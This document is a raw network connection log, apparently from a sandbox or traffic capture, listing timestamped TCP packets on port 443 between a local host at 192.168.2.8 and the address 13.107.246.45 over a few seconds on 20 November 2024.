Nov 20, 2024 03:21:47.270015001 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.270462036 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.270495892 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.270800114 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.270807028 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.292921066 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.293302059 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.293323994 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.293627024 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.293632030 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.379090071 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.379158020 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.379225016 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.379350901 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.379352093 CET	49890	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.379400969 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.379431009 CET	443	49890	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.381916046 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.381958961 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.382029057 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.382225037 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.382235050 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.395277977 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.395349026 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.395462036 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.395462036 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.395495892 CET	49893	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.395508051 CET	443	49893	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396353960 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396420002 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396470070 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.396651030 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.396667004 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396677971 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396689892 CET	49894	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.396696091 CET	443	49894	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396734953 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.396784067 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.397245884 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.397269964 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.397284985 CET	49891	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.397291899 CET	443	49891	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.399616003 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.399650097 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.399708033 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.399801016 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.399811029 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.399833918 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.399866104 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.399940014 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.400233984 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.400242090 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.400253057 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.400264025 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.400289059 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.400357962 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.400365114 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.411063910 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.411123991 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.411168098 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.411242008 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.411250114 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.411262989 CET	49892	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.411268950 CET	443	49892	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.413503885 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.413517952 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:47.413722038 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.413722038 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:47.413742065 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.047847986 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.048394918 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.048413992 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.048839092 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.048845053 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.048960924 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.049288988 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.049315929 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.049592018 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.049597979 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.053369045 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.053664923 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.053757906 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.053934097 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.053952932 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.073103905 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.073419094 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.073431015 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.073677063 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.073703051 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.133816004 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.134196043 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.134238005 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.134700060 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.134711981 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.147752047 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.147820950 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.147957087 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.148113966 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.148113966 CET	49899	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.148133993 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.148139954 CET	443	49899	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.151403904 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.151503086 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.151629925 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.151721954 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.151766062 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.152997017 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.153060913 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.153230906 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.153352976 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.153352976 CET	49895	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.153382063 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.153398037 CET	443	49895	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.155921936 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.155963898 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.156038046 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.156224012 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.156238079 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.165899038 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.165976048 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.166073084 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.168812037 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.168812037 CET	49898	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.168864012 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.168886900 CET	443	49898	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.171247959 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.171288013 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.171380997 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.171504974 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.171531916 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.179474115 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.179536104 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.179676056 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.179712057 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.179712057 CET	49897	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.179732084 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.179753065 CET	443	49897	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.181365013 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.181379080 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.181442976 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.181566954 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.181579113 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.234806061 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.234985113 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.235045910 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.235203981 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.235203981 CET	49896	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.235222101 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.235240936 CET	443	49896	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.236834049 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.236886978 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.236989975 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.237085104 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.237099886 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.785783052 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.786396027 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.786417007 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.786999941 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.787008047 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.803294897 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.803694010 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.803719997 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.804210901 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.804215908 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.805538893 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.805932999 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.805975914 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.806268930 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.806282997 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.873528004 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.874108076 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.874123096 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.874499083 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.874502897 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.876425982 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.876868010 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.876893997 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.877440929 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.877444983 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.894366980 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.894418001 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.894551992 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.894676924 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.894676924 CET	49900	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.894718885 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.894743919 CET	443	49900	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.897403002 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.897440910 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.897531986 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.897650957 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.897659063 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.904695034 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.904773951 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.904836893 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.904901981 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.904927969 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.904954910 CET	49902	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.904968977 CET	443	49902	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.905050039 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.905122042 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.905169964 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.905206919 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.905225992 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.905236959 CET	49901	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.905241966 CET	443	49901	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.907181025 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.907217979 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.907253027 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.907284975 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.907296896 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.907335997 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.907423973 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.907433033 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.907593012 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.907608032 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.976196051 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.976357937 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.976536036 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.976608992 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.976608992 CET	49904	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.976630926 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.976640940 CET	443	49904	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.977371931 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.977442026 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.977508068 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.977650881 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.977672100 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.977678061 CET	49903	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.977683067 CET	443	49903	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.979783058 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.979798079 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.979809046 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.979890108 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.979891062 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.979971886 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.980093002 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.980104923 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:48.980112076 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:48.980114937 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.551184893 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.551985025 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.552067995 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.552385092 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.552398920 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.576492071 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.576965094 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.576981068 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.577296019 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.577300072 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.581028938 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.581418991 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.581442118 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.581712008 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.581722975 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.623183012 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.623899937 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.623919964 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.624272108 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.624278069 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.638362885 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.638750076 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.638780117 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.639039040 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.639045954 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.651628017 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.651679993 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.651787043 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.651967049 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.652018070 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.652048111 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.652065039 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.655131102 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.655167103 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.655301094 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.655486107 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.655493975 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.686182976 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.686235905 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.686387062 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.686666012 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.686686993 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.686712027 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.686723948 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.689692020 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.689763069 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.689855099 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.690011978 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.690046072 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.721844912 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.721869946 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.721941948 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.721956968 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.722105026 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.722219944 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.722237110 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.722260952 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.722268105 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.722282887 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.722285032 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.724873066 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.724970102 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.725090981 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.725258112 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.725297928 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.728452921 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.728465080 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.728528023 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.728562117 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.728871107 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.728883028 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.728928089 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.728960037 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.728960037 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.728980064 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.729000092 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.730736017 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.730771065 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.730844975 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.731003046 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.731014967 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.741372108 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.741439104 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.741583109 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.741628885 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.741628885 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.741643906 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.741653919 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.743549109 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.743582964 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:49.743681908 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.743863106 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:49.743892908 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.313055038 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.314131021 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.314165115 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.314811945 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.314824104 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.350456953 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.351367950 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.351407051 CET	443	49911	13.107.246.45	192.168.2.8
